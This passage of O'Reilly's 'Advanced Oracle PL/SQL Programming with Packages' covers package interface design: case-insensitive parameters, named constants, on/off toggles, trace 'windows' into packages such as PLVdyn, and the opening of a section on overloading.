Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.5 Constructing the Optimal Interface to Your Package

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.5 Constructing the Optimal Interface to Your Package

The interface to your package consists of the names of the public elements and, in the cases of procedures, functions, and cursors, the parameter lists and RETURN datatypes.

The interface of your package is, in the broadest sense, affected by almost every best practice in this chapter. There are several recommendations that apply more narrowly to the interface (particularly the parameter lists); those are covered in the following sections. Before delving into those particulars, however, I need to step way back and address a philosophical issue of package design that is fundamental to making your packages as useful and usable as possible: the need to see other developers as users, and the impact that has on your package design.

2.5.1 Seeing Developers as Users

The vast majority of the packages I build are utilities and components for other developers. PL/SQL developers are, in other words, my users. Now you are probably aware that developers generally don't have many good things to say about their users. "Those users" are always modifying their requirements and are incredibly lazy; they change their minds on a daily or hourly basis; and they could care less about your resource issues. Why (I hear again and again), if it's not absolutely obvious and easy to navigate through an application, "those users" complain and complain -- and sometimes refuse outright to use your application. Ungrateful wretches.

Well, I have news for you: developers as users are no different from end users as users. They (and I include myself fully in this characterization) have a very low tolerance for rigmarole and wasted motion. They will use a utility I offer them only if they can understand it intuitively and put it to use instantly. I believe that attitude is appropriate. Our software should be smart and easy to use. Ease of use is, however, just the first requirement. Developers also want total flexibility. They don't want to have to do things my way just because I "wrote the book" on PL/SQL and wrote the package, too.

How do I know that my users will be so fussy? Because for the last year I have been struggling to use my own software and have constantly needed more flexibility in order to make that software useful to me. I have watched PL/Vision grow both in number of packages and internal complexity of those packages. In the process I have taught myself several techniques that I explore in this section. You'll see these over and over again in PL/Vision (especially the building into my packages of toggles and windows).

As far as I am concerned, it is always worth it for me to spend more time in the design and development of my code if it results in programs that are smarter and therefore easier to use. I don't necessarily believe that we should follow the tenet that the user is always right, but we should generally take a more respectful view towards our users -- especially the developer ones. In almost every case, they have a legitimate gripe. Computers and the software installed on them are not nearly as intuitive and accessible as they should be. Do your part in your design of PL/SQL packages to improve that situation.

2.5.2 Making Your Programs Case-Insensitive

Make sure users don't trip over senseless obstacles on the path to using your programs. A common source of frustration is the requirement that arguments to a program be in one case or another (usually upper or lower).

Consider the following program:

CREATE OR REPLACE FUNCTION twice
   (string_in IN VARCHAR2, action_in IN VARCHAR2)
RETURN VARCHAR2
IS
BEGIN
   IF action_in = 'UL'
   THEN
      RETURN (UPPER (string_in) || LOWER (string_in));

   ELSIF action_in = 'LU'
   THEN
      RETURN (LOWER (string_in) || UPPER (string_in));

   ELSIF action_in = 'N'
   THEN
      RETURN string_in || string_in;
   END IF;
END twice;
/

This function (which is not even defined inside a package; this best practice, like many others, applies equally to standalone modules as well) returns a string concatenated to itself, with some optional case-conversion action. You pass it UL or LU or N, and the appropriate transformation of the string is made. But what if someone calls twice as follows?

bigger_string := twice (smaller_string, 'ul');

The PL/SQL runtime engine will actually raise an exception:

ORA-06503: PL/SQL: Function returned without value

This is very poor behavior by the function. If developers are going to reuse your code, they need to get dependable results from it. It should never raise the -6503 exception or, in general, any exception at all. Instead it should return a value that indicates a problem whenever possible. Beyond that, users of twice should not have to care about the case of the string they pass for the action code. Your program should automatically force all entries of this kind (action codes and types) to either lower- or upper-case and then proceed from there. The best way to do this, I have found, is to declare a local variable that accepts as a default value the case-converted argument. This technique is shown in the following example:

CREATE OR REPLACE FUNCTION twice
   (string_in IN VARCHAR2, action_in IN VARCHAR2)
RETURN VARCHAR2
IS
   v_action VARCHAR2(10) := UPPER (action_in);
BEGIN

With this approach, you never reference the parameter action_in in the function. Instead, you work with v_action in the body of the function, and case is never an issue. This may seem like a small issue, but it can loom large when a developer is under lots of pressure, wants to use your code, and fails the first three times because the case is wrong or the literal used for the action code is in some way erroneous.

2.5.3 Avoiding Need for User to Know and Pass Literals

If you follow the advice of the previous section, a user of the twice function will be able to enter UL, ul, uL, LU, lu, N, or n, and the program will react properly. But in an ideal world, users wouldn't even have to know about these literal values -- and they certainly wouldn't have to place such literals in their program. What if someone decides to change the particular constants used by twice to recognize different kinds of actions?

Removing literals from your programs for these kinds of arguments is made particularly easy using packages. There are two ways to achieve this objective:

  1. Provide separate programs for each of the different actions.

  2. Provide package-based constants that hide the action values and offer a named element in their places.

Creating different program specifications for each action is practical only if there is a fixed number of actions. I use this approach in PLVexc; there, I convert a handler action argument in the handle procedure to four different procedures:

PROCEDURE stop;
PROCEDURE recNstop;
PROCEDURE go;
PROCEDURE recNgo;

This proliferation of procedures is not desirable if you think that the set of possible actions might change or expand. Also, in some cases, you really want to stick with one overloaded name and not bewilder the user with a whole suite of programs. For example, if I took the PLVexc approach with the twice function I would end up with:

FUNCTION twiceUL ...;
FUNCTION twiceLU ...;
FUNCTION twiceN ...;

As an alternative, I could define a set of constants, one for each action, as shown in the package specification below:

CREATE OR REPLACE PACKAGE dup
IS
   lu CONSTANT VARCHAR2(1) := 'A';
   ul CONSTANT VARCHAR2(1) := 'B';
   n  CONSTANT VARCHAR2(1) := 'X';
   FUNCTION stg
      (stg_in IN VARCHAR2,
       action_in IN VARCHAR2 := n,
       num_in IN INTEGER := 1)
   RETURN VARCHAR2;
END dup;
/

Notice that the twice function has now been replaced with dup.stg, a more generalized string-duplication function. The default action for a call to dup.stg is now the constant n, rather than the literal N. So if I want to duplicate a string 10 times and convert it to UPPER-lower format, I would call dup.stg as follows:

v_bigone := dup.stg (v_ittybitty, dup.ul, 10);

Sure, I have to know the names of the constants, but I will be informed at compile time if I got it wrong. This is a very important distinction from the mysterious, hard-to-trace error I will receive if I simply pass the wrong literal value. The compiler could care less about if I pass the right literal. There are no right or wrong literal values as far as the compiler is concerned; my code must therefore be qualitatively more robust to handle this error gracefully.

The other advantage to the package constant approach is that you can change the underlying values without affecting anyone's use of dup.stg. As you can see in the package specification, I deliberately gave these constants values that did not match the previous values. This will flush out old usages and force compliance with the use of the constants, rather than the literals. You don't have to do this, and may not be able to for reasons of backward compliance, but it is a useful technique to keep in mind.

Previous: 2.4 Organizing Package Source Code | Advanced Oracle PL/SQL Programming with Packages | Next: 2.6 Building Flexibility Into Your Packages
2.4 Organizing Package Source Code | Book Index | 2.6 Building Flexibility Into Your Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.6 Building Flexibility Into Your Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.6 Building Flexibility Into Your Packages

Who is going to argue with this one? Sure, we want our code to be flexible, in a practical sort of way. It is quite another thing to internalize this issue in the context of packages and figure out how to take full advantage of the package structure to offer maximum flexibility.

If a program is going to be widely reusable, it should be able to adapt to different circumstances to meet different needs. It is easy to talk about flexibility. I have found that when it comes to packages there are two basic ways to be flexible when writing programs for others to use:

  1. Offer lots of parameters in the parameter lists of the package's functions and procedures. This is the traditional, well-worn path.

  2. Provide toggles or on-off switches, distinct from the main programs of the package, which modify the behavior of those programs. This approach takes advantage of the package structure to offer a new way of doing things.

It certainly makes sense to offer arguments in a packaged program unit to improve the flexibility of that individual program. Consider the display procedure of the PLVtab package, whose header is shown below:

   PROCEDURE display
    (table_in IN date_table,
     end_row_in IN INTEGER,
     header_in IN VARCHAR2 := NULL,
     start_row_in IN INTEGER := 1,
     failure_threshold_in IN INTEGER := 0,
     increment_in IN INTEGER := +1);

This procedure has a whole bunch of parameters, and every one of them makes sense for the display of a particular table. Do you want to provide a header different from the default "Contents of Table"? Provide an argument to the header_in parameter. Do you want to display every fifth row? Pass in 5 for increment_in. Sensible defaults are, on the other hand, provided for almost every parameter, so you only need to provide values if you want to override these defaults.

What do you do, however, when you want to provide flexibility that affects the behavior of the package as a whole, not just for a particular program? What if you want to alter the configuration of a package for an entire session? Furthermore, what if you want to change the behavior of your package without changing the application code that uses your package?

Again, let's take a look at the PLVtab package for an illustration of this situation. PLVtab is a low-level package used throughout PL/Vision under many different circumstances. In some situations, I wanted to be able to display the row number in which the data is found. In other scenarios, I did not want any header to display before the table data was shown. Finally, I thought it would be useful to be able to see a translation of a blank line (i.e., does the line contain actual blanks or is it NULL or is it some other non-printing character?).

I could simply have kept adding new parameters to the display procedure (actually, adding new parameters to the nine different overloaded versions of display) to handle all of these variations. I would then end up with a header for display that looked like this:

   PROCEDURE display
    (table_in IN date_table,
     end_row_in IN INTEGER,
     header_in IN VARCHAR2 := NULL,
     start_row_in IN INTEGER := 1,
     failure_threshold_in IN INTEGER := 0,
     increment_in IN INTEGER := +1,
     use_header_in IN BOOLEAN := TRUE,
     show_rownums_in IN BOOLEAN := FALSE,
     show_blanks_in IN BOOLEAN := FALSE);

I don't know about you, but when I look at programs with more than six or seven parameters, my head starts to spin. Human brains are not, according to numerous studies, well equipped to deal with more than seven items at once. You could contend that these additional parameters increase the flexibility of the display procedure. I would argue, instead, that these additional parameters doom the PLVtab.display procedure to the dustbin of history. Few people will be brave enough to try to use it, particularly if they have to modify the default values of those trailing arguments.

Fortunately, certain aspects of the PL/SQL package provide an alternative to turning your procedure into a sinking ship (weighed down by too many parameters): you can build toggles into your packages that allow a user of the package to change the behavior of the utility with the "flip of a switch."

2.6.1 Toggling Package Behavior

You will find toggles appearing throughout the PL/Vision packages. A toggle is a set of three programs: two procedures that allow you to turn a feature on or off, and a function to tell you the current status (on or off). The liberal application of toggles can transform the usability of your packages. The easiest way to teach you this technique is to show you how I use it in PL/Vision.

In PLVtab, I did not add a use header argument to the nine display procedures. Instead, I offer a toggle or on-off switch using these three programs:

   PROCEDURE showhdr;
   PROCEDURE noshowhdr;
   FUNCTION showing_header RETURN BOOLEAN;

The showhdr program turns on the showing of the header. The noshowhdr turns off the display of the header. The showing_header function returns TRUE if the header is currently set to be shown. These three programs contain very little. They simply maintain and access a private global variable, as shown below:

   v_display_header BOOLEAN := TRUE;

   PROCEDURE showhdr IS
   BEGIN
     v_display_header := TRUE;
   END;

   PROCEDURE noshowhdr IS
   BEGIN
     v_display_header := FALSE;
   END;

   FUNCTION showing_header RETURN BOOLEAN IS
   BEGIN
     RETURN v_display_header;
   END;

How do I put these toggles to use? Suppose that in most cases in my application I wish to hide the header. Since the default value for v_display_header is TRUE, I must turn off the display of the header at the start of my session. I could do that in my SQL*Plus login.sql script as follows:

exec PLVtab.noshowhdr;

Alternatively, if I am using PLVtab within an Oracle Developer/2000 Oracle Forms screen, I might place this call inside the When-New-Form-Instance trigger:

PLVtab.noshowhdr;

If, at some point in my application, I want to display a table with its header, I can temporarily override the default setting as follows:

PLVtab.showhdr;
PLVtab.display (selected_comp_tab, v_tot_selected, 'Selected Companies');
PLVtab.noshowhdr;

2.6.2 Toggles for Code Generation

Now consider the PLVgen package. PLVgen generates many different kinds of PL/SQL code elements. I used PLVgen earlier in this chapter, in fact, to generate a template for a package to show you a recommended format for packages. Since there are many variations in the way you might want to generate your code, PLVgen contains nine toggles that affect the appearance and contents of the generated code. It is totally impractical to add nine arguments to every one of my two dozen code generator procedures. It is very practical, on the other hand, to offer you the toggles to set, in effect, your own standard approach to generating PL/SQL code.

To offer just two examples, the default settings for this PL/SQL code generator package are to include auto-generated comments and to not include a standard header for program units. I can, however, change those defaults with calls to the appropriate toggles as shown below:

SQL> exec PLVgen.usehdr
SQL> exec PLVgen.nousecmnt

These toggle programs set the values of private global variables in the package. These variables are then referenced to determine the behavior of the package. If you look inside the PLVgen.spb file (the package body), you will also see instances where I call PLVgen toggles from inside some code generators so that I can achieve just the behavior I desire. Consider the helptext package below.

   PROCEDURE helptext (context_in IN VARCHAR2 := PLVhlp.c_main)
   IS
      v_save BOOLEAN := using_hlp;
   BEGIN
      /* Turn off help, but then restore if necessary. */
      usehlp;
      put_help (context_in);
      IF NOT v_save THEN nousehlp; END IF;
   END;

This procedure generates a comment stub for help text. It calls the private put_help procedure to construct that stub. If, however, the user has previously turned off help text generation, this program will do nothing. So the helptext procedure saves the current setting for using help text, turns that toggle on, generates the help text, and then turns the help text setting off, if that was the previous setting.

2.6.3 Changing Package Behavior Without Changing the Application

One of the most exciting benefits of package toggles is that they allow a user of the package to modify the behavior of the package without changing any application code that calls the package element. Let's start with an example to explain that complicated statement, and then I will generalize.

Suppose you want to use the PLVlog package to keep track of any changes made to the emp table. To do this, you will make calls to PLVlog.put_line in the appropriate database triggers. Here is an example of one such call:

PLVlog.put_line ('insert', :new.empno, :new.empname);

This request logs the fact that I am inserting a new employee with the specified ID number and name. The log mechanism also records the current user, as well as date and time. This code works just fine and goes into production. Then my company, in the true enterprising spirit of the 1980s and 1990s, purchases a company ten times its own size (which means no more raises for me, since they must now use all their money to pay off interest on the assumed debt). Suddenly, I must add 25,000 employees to my emp table. My log table cannot handle this volume of data in its current structure. Furthermore, I don't even really want an audit of this activity. The data should just be "slammed" in and used as a new baseline for corporate employment.

If I did not have a toggle in PLVlog, what would I have to do to turn off logging? I can think of two options:

  1. Go into each trigger and comment out the call to PLVlog.

  2. Disable all triggers on the emp table.

The first approach should make you shudder. You never, ever want to have to go into production code and make such temporary changes -- even (especially?) if those changes are not in a program per se, but are instead a part of the data structures. The second solution is not much better. You have to write a script to disable all the triggers and then this code is disabled for all users of the application, not just the single process, which is going to batch load all of the new employees. So if you disable triggers, you have to deny access to the application by other users. Two very ugly prospects.

If, on the other hand, you have a PL/Vision toggle in place, this situation does not cause you any grief at all. Before you start the process to load the employees (let's call it session A), you simply execute this command:

SQL> exec PLVlog.turn_off

Now, whenever the database trigger calls PLVlog.put_line for DML initiated by session A, nothing happens. Why? Because the first thing put_line does is check the value of the private toggle variable (by calling the toggle function) as shown below:

IF logging OR override_in
THEN
   ... log the information ...
END IF;

You didn't have to change your program and you didn't have to modify the state of your database. From outside the package, you call the toggle program to reach inside the package and change the way the package will behave. This ability to leave your own code intact comes in particularly handy not only for special exceptions but also for testing, as I explore below.

2.6.3.1 The test/debug cycle in PL/SQL

A common debug and test cycle in PL/SQL shops goes like this:

  1. You identify incorrect behavior in your program.

  2. Unable to understand the cause of the behavior, you place numerous calls to DBMS_OUTPUT.PUT_LINE (or, with your purchase of this book, PL/Vision's much more friendly p.l procedure) and other kinds of tracing lines of code so that you can see what is going on.

  3. You analyze the output, track down the problem, and fix it.

  4. You finally decide that all the bugs are gone.

  5. You notify your manager that the application is ready to go. Excitement mounts. Other organizations are told to start moving the code from test to production. Suddenly, you break out in a cold sweat and tell your bewildered manager to "hold off a minute."

  6. You forgot about all that debugging code you littered into your application. It can't go into production like that. You have to go back into the program to comment out or outright remove all that trace code. No problem, you tell yourself. Easy to do...but there could be a problem. After all, any time you touch the code, you can break it. After any changes of any kind to your code, you really should retest.

  7. So you have to go back to your manager and ask for more time to make sure everything really is all right. Not a pleasant situation in which to find yourself.

If, on the other hand, you used packages with toggles to trace your debugging activity (such as PLVtrc and even the lower-level p package), you would not have to worry about any of that. You could keep your code intact and simply issue a call to the appropriate package toggle to turn off any superfluous activity, as in:

SQL> exec PLVtrc.turn_off
SQL> exec p.turn_off

Of course, you can do more with toggles than simply turn functionality on and off. Remember that logging capability I built into my emp table triggers? Suppose that I want to write my log information to an operating system file instead of to a database table. That is a pretty major change in how the log will work, and a daunting task if the log mechanism is designed poorly. Yet with PL/Vision it requires no change at all to the database triggers. The call to PLVlog.put_line remains exactly the same. Instead of modifying that application's code, I can simply redirect the output of the logging package with a call to the appropriate procedure as follows:

SQL> exec PLVlog.to_file ('log.dat');

and then all subsequent calls to PLVlog.put_line for that particular Oracle session will write the information to the log.dat file on the server.

In my experience, package toggles make an enormous difference in the flexibility and usability of my packages. You can never add too many toggles. Just make sure that the default setting is the value that's normally desired. Then only those people who need flexibility in that particular fashion ever need to bother with the toggle. You can always add toggles later; it is generally not the kind of thing you have to plan in advance. This is particularly true if you have been aggressive in modularizing your package body code. If you have religiously avoided code redundancy and repetition (get it?), there will usually be just one place you have to apply the toggle to achieve a new level of flexibility.

I cannot overemphasize the importance of toggles in your packages. They are an essential element in transforming your package from a handy utility into a robust, flexible component or what is, in essence, a product.

To paraphrase an over-paraphrased saying: "If you toggle your package, they will use it."

Previous: 2.5 Constructing the Optimal Interface to Your Package | Advanced Oracle PL/SQL Programming with Packages | Next: 2.7 Building Windows Into Your Packages
2.5 Constructing the Optimal Interface to Your Package | Book Index | 2.7 Building Windows Into Your Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.7 Building Windows Into Your Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.7 Building Windows Into Your Packages

A special kind of toggle can be used to provide what I call a window into a package. This window allows a restricted view into the inner workings of a package, which can be critical to making the package usable in a complex, multilayered application.

As I've explained in Chapter 1, PL/SQL Packages, packages are broken up into the specification and the body. The specification defines those elements that can be called from outside of the package (the public elements). The body contains the implementation of public elements and also of private elements (those elements that can only be referenced inside the body of the package). This dichotomy allows us to hide quite securely implementation details that users need not be aware of in order to make use of the package.

This "information hiding" aspect of packages is a great feature -- until a developer needs to know what is going on inside the package. The black box in this case can become a hindrance. For example, I built a package called PLVdyn (which stands for "PL/Vision DYNamic SQL") to make it easier for developers to use the built-in DBMS_SQL package. PLVdyn lets the user parse and execute dynamically constructed SQL and PL/SQL statements without fussing with all the details inherent in the built-in package.

With PLVdyn, you construct a SQL statement and pass that string to a PLVdyn program for parsing or execution. It's a big time-saver, but it also implies a loss of some control. You trust PLVdyn to do the right thing -- and it does. The question that is more likely in need of an answer: what is your code passing to PLVdyn?

The code we write to construct the dynamic SQL statement is often complicated. The PL/Vision packages themselves make extensive use of PLVdyn. As I tested PLVdyn, I often found that I wanted to see the SQL statement that PLVdyn was executing, so I could verify that my calling program (in PLVio or PLVlog or...) had put the SQL together properly. This was not, conceptually, a difficult problem. I could simply place calls to DBMS_OUTPUT before each of my calls to PLVdyn modules. In this way, I would not have to change PLVdyn (it is not, after all, the fault of PLVdyn -- or its author! -- that I wasn't sure what my code was doing). With this approach, if I used PLVdyn.ddl to execute a DDL statement, I could simply preface it with a call to p.l (the PL/Vision version of DBMS_OUTPUT) as follows:

p.l (ddl_statement);
PLVdyn.ddl (ddl_statement);

For all its simplicity, there is a key drawback to this solution: I would have to add calls to p.l in all the places I call a PLVdyn program. This meant going back to existing programs to make changes. I would have to remember to add this call whenever I used PLVdyn or felt the need to trace my activity. In either case, it involved changes to my code. Such changes invite misspellings and logical bugs.

This weakness, combined with the need to see what PLVdyn is doing almost caused me to abandon PLVdyn. Rather than use the package, developers would cannibalize it for the parts that seem useful. Or they would simply ignore this package-based solution and write all of their dynamic SQL directly into their programs. The result? Applications that do not reuse prebuilt code, but instead create maintenance and enhancement nightmares.

2.7.1 Centralizing the View Mechanism

A far superior approach would allow users to view the string they passed to PLVdyn without changing any of their own code. This view mechanism would be sophisticated enough to handle any number of different scenarios for SQL statement output, such as very long strings. The way to implement this approach successfully is to build the viewing feature directly into the PLVdyn package itself.

With the trace implemented inside PLVdyn, I can avoid modifying my own code when the output from that trace is needed. Instead, I can simply call a program in the PLVdyn package to tell it turn on the trace. I can then view the output until it is no longer needed and call a program to direct the package to turn off the trace. This sequence of commands is illustrated below, along with the toggle, a call to the PLVcmt which turns off commit processing. I want to run a test of my program to shift employees; I want to check my dynamic SQL without actually committing any possible mistakes.

SQL> exec PLVdyn.showsql
SQL> exec PLVcmt.turn_off
SQL> @test_move_emps
PLVdyn: INSERT INTO emp VALUES (1506, 1105, 'SMITH')
PLVdyn: UPDATE emp SET sal = 150000
PLVdyn: UPDATE emp SET hiredate = SYSDATE

I execute these steps, look over the trace, and decide that this all looks good. I then turn on commit processing, turn off the SQL trace, and run the program. All without making a single change to the move_emps program.

SQL> exec PLVdyn.noshowsql
SQL> exec PLVcmt.turn_on
SQL> @move_emps

By incorporating the trace into PLVdyn, I can't deny that I make my own job that much more difficult. I have to write the code for the trace and then figure out how best to implement it comprehensively for all PLVdyn modules. Yet once I have provided this feature, it is available for all users of PLVdyn. This kind of tradeoff (author effort vs. user ease of use) is always worthwhile in my view.

There are two aspects to keep in mind when building a trace or window into a package:

  1. You need to provide the programmatic interface so that a developer can turn on/off the trace. This interface is a typical PL/Vision toggle and will usually take the same form in any package. As a result, it is a prime candidate for generation with the PLVgen package (see the toggle and gas procedures in Chapter 15).

  2. You need to implement the trace carefully inside your package. What information will you provide? What mechanism will you use to display the trace? DBMS_OUTPUT or the p package or maybe even the PLVlog package? And, most importantly, where will you put the trace in the package so that you can minimize the number of different places it will appear? Remember: you want to avoid code redundancy. If you were aggressive about modularizing your package body, you should be able to identify a few programs or maybe even just one program (when you wish upon a star...) in which the trace can be implemented, but will then be used by all programs in the package. This process is explored in the next section.

2.7.2 Designing the Window Interface

The first step in installing a window in a package is to design the interface for the window, also referenced in this section as a trace. To do this, I must ask and answer these questions:

  • How should the user ask to turn the trace on and off?

  • What other information can I provide to or ask from the user?

The easiest way for developers to specify their desires is to call a procedure. The first inclination might be to build a single procedure that accepts actions such as ON or TRACE vs. OFF or NO_TRACE as a single parameter. The header for such a procedure would look like this:

PROCEDURE set_trace (onoff_in IN VARCHAR2);

The developer would then call set_trace in SQL*Plus or another execution environment as follows:

SQL> exec PLVdyn.set_trace ('ON');
SQL> exec PLVdyn.set_trace ('OFF');

The problem with this approach is that the developer must then know what value to pass to the procedure to achieve the proper effect. Is it ON or YES? Is the value case-insensitive? Why, I ask myself in this situation, should a developer have to worry about such things? Even the seemingly clear TRUE/FALSE Boolean values are open to interpretation. If you generally do not want the trace in action, then TRUE should mean "keep it off." If you are often interested in the output of the trace, you would most naturally conclude that TRUE means "show the trace."

A completely different technique is to provide two different programs to turn the trace on and off. The names of the programs themselves would make it very clear what they did. You don't have to worry about getting a literal value wrong. If you type in the wrong program name, the runtime engine will inform you immediately of the error.

I can employ a very generic naming convention for this pair of on/off procedures as follows:

PROCEDURE turn_on;
PROCEDURE turn_off;

As an alternative, I could use names that describe the type of trace being provided. This is especially important when more than one trace is provided in the same package.

In PLVdyn, I opted for the less generic style and so provide these two procedures in the package specification:

PROCEDURE showsql;
PROCEDURE noshowsql;

With these programs in place, I could turn on my trace in SQL*Plus as follows (ssoo.sql is a PL/Vision script that sets SERVEROUTPUT to ON, enabling the DBMS_OUTPUT package in SQL*Plus):

SQL> @ssoo
SQL> execute PLVdyn.showsql;

The third program of the package trace is a function that lets me know the current status of the PLVdyn trace facility. In the PLVdyn package, I offer the showing_sql function. This program returns TRUE if the trace is turned on, FALSE otherwise:

FUNCTION showing_sql RETURN BOOLEAN;

The PLVdyn uses this function (shown later in this section) when trying to determine whether or not the SQL should be shown. Even the package body respects the interface of the toggle and uses the function instead of a direct reference to the private variable.

The showing_sql function also provides a sense of completeness to the interface for the trace facility. A developer using PLVdyn can remain within the API of the package to obtain all the information she needs to use the trace and get the most out of the package.

The full implementation of the trace facility in PLVdyn even goes a bit further than you have seen so far. The header for the showsql procedure is:

PROCEDURE showsql (start_with_in IN VARCHAR2 := NULL);

You can, in other words, provide a string to showsql to indicate the point in the SQL from which you want to view the text. You could ask to see, for example, everything after the WHERE keyword by calling showsql as follows:

SQL> exec PLVdyn.showsql ('where');

This additional flexibility can come in handy when you don't want to have to read your way through a long, complicated SQL statement. It's quite easy to provide additional functionality to a package window once it has been put in place. My first implementation of showsql did not support this "start with" argument nor did it display long strings very gracefully. I was able to add all of this functionality incrementally as I identified the need.

2.7.3 Implementing the Window

Now that the interface to the window has been defined, I need to implement the code that will fill that window with data. One of the biggest challenges in crafting a trace facility in a package like PLVdyn is to figure out where to put the trace. PLVdyn is a big package, offering many different high-level operators to perform dynamic SQL.

I did not want to have to add calls to DBMS_OUTPUT all over the package. That would make it more difficult to maintain and enhance. So I analyzed the way the package (and dynamic SQL) works and found my attention drawn back continually to the open_and_parse function. Before you can execute a SQL statement, you have to open a cursor and then parse the SQL.

The open_and_parse function was one of the first programs I created in PLVdyn, and it is used by all other programs before they move on to their specific dynamic tasks. As a result, open_and_parse acts as a kind of gateway into the rest of the package. I reasoned, therefore, that if I added the trace capability to open_and_parse, I could then make the trace available to the entire package. Now that's a payoff from earlier modularization! Here is the body of open_and_parse:

FUNCTION open_and_parse (string_in IN VARCHAR2,
    mode_in IN INTEGER := DBMS_SQL.NATIVE) RETURN INTEGER
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
BEGIN
   display_dynamic_sql (string_in);
   DBMS_SQL.PARSE (cur, string_in, mode_in);
   RETURN cur;
END;

As you can see, the display_dynamic_sql procedure intercepts the string that is going to be parsed by the built-in PARSE procedure. A simplified version of the display program is shown below:

PROCEDURE display_dynamic_sql (string_in IN VARCHAR2)
IS
BEGIN
   IF showing_sql
   THEN
      PLVprs.display_wrap ('PLVdyn: ' || v_string, 60);
   END IF;
END;

Notice that display_dynamic_sql only displays information when showing_sql returns TRUE. It also takes advantage of the PLVprs.display_wrap procedure to show long SQL statements in paragraph form wrapped at a line size of 60 columns.

The open_and_parse program is called six times in PLVdyn. Actually, as I wrote this section, I had been thinking that the count would be even higher. It turns out that any of the programs that call open_and_parse are, in turn, called by other PLVdyn modules, keeping the direct references to open_and_parse from exploding. The display_dynamic_sql program, on the other hand, is called just once. When I want to upgrade or change the functionality of my trace, I can go to this one program and make all the changes.

The way I was able to implement the trace in PLVdyn is a best-case scenario. The requirement in dynamic SQL to parse your SQL statement, combined with my initial modularization and reuse of open_and_parse, offered an easy way to put the trace in place. In other PL/Vision packages and your own as well, you may need to include calls to your trace display mechanism more than once. That's fine, as long as you do create a separate procedure to display the information (do not just call DBMS_OUTPUT.PUT_LINE directly in your package) and as long as you minimize the number of repetitions of the program.

2.7.4 Summarizing the Window Technique

The trace facility of PLVdyn illustrates some important principles of both generic package structure and high-quality reusable code (see Figure 2.1). First, the public-private nature of the package allows me to construct a window into PLVdyn. This window offers a very controlled glimpse into the interior of the package. I let developers view the dynamic SQL string, but they can't look at or do anything else. This level of control allows Oracle to give us all of those wonderful built-in packages like DBMS_SQL and DBMS_PIPE. And it lets developers provide reusable PL/SQL components to other developers without fearing corruption of internal data structures.

Figure 2.1: Window/trace in PLVdyn

The three elements of the interface to the window are:

  1. A procedure to open the window and turn on the trace

  2. A procedure to close the window and turn off the trace

  3. A function that returns TRUE if the window is open, FALSE otherwise

Your package can have more than one window, in which case you will want to have a distinct triumvirate of programs for each trace (multiple toggles, in other words). If you have a number of different kinds of windows, you may also want to build a master switch that turns on and off all of the windows at once. The PLVgen usemin and usemax procedures are good examples of this meta-toggle for multiple flags in the package.

As you build more and more sophisticated packages, you will find yourself building code in multiple layers that interact in ways mysterious to normal human beings. The windowing technique illustrated by PLVdyn.showsql will be absolutely critical to making your packages widely accessible and usable. If you do not provide clearly defined windows into your inner workings, there is a good chance that developers will first be baffled and then become frustrated. The end result is that they will not use your packages.

Previous: 2.6 Building Flexibility Into Your Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 2.8 Overloading for Smart Packages
2.6 Building Flexibility Into Your Packages | Book Index | 2.8 Overloading for Smart Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.8 Overloading for Smart Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.8 Overloading for Smart Packages

One of the most powerful aspects of the package is the ability to overload program units. When you overload, you define more than one program with the same name. These programs will differ in other ways (usually the number and types of parameters) so that at runtime the PL/SQL engine can figure out which of the programs to execute. You can take advantage of the overloading feature of packages to make your package-based features as accessible as possible.

Does overloading sound unfamiliar or strange? Well, have you ever used the TO_CHAR function? If so, then you have already been enjoying the creature comforts of overloading. TO_CHAR converts both numbers and dates to strings. Have you ever wondered why you don't have to call functions with names like TO_CHAR_FROM_DATE or TO_CHAR_FROM_NUMBER? Probably not. You probably just took TO_CHAR for granted, and that is how it should be.

In reality, there are two different TO_CHAR functions (both defined in the STANDARD package): one to convert dates and another to convert numbers. The reason that you don't have to care about such details and can simply execute TO_CHAR is that the PL/SQL runtime engine examines the kind of data you pass to TO_CHAR and then automatically figures out which of the two functions (with the same name) to execute. It's like magic, only it's better than magic: it's intelligent software!

When you build overloaded modules, you spend more time in design and implementation than you might with separate, standalone modules. This additional up-front time will be repaid handsomely down the line in program productivity and ease of use.

You will not have to try to remember the different names of the modules and their specific arguments. Properly constructed, overloaded modules will have anticipated the different variations, hidden them behind a single name, and liberated your brain for other, more important matters.

See Chapter 16, of Oracle PL/SQL Programming for a more comprehensive coverage of overloading restrictions and examples.

2.8.1 When to Overload

When you overload, you take the first step towards providing a declarative interface to PL/SQL-based functionality. With a declarative approach, a developer does not write a program to obtain the necessary functionality. Instead, she describes what she wants and lets the underlying code handle the details (this follows the approach used by the SQL language). The process of overloading involves abstracting out from separate programs into a single action.

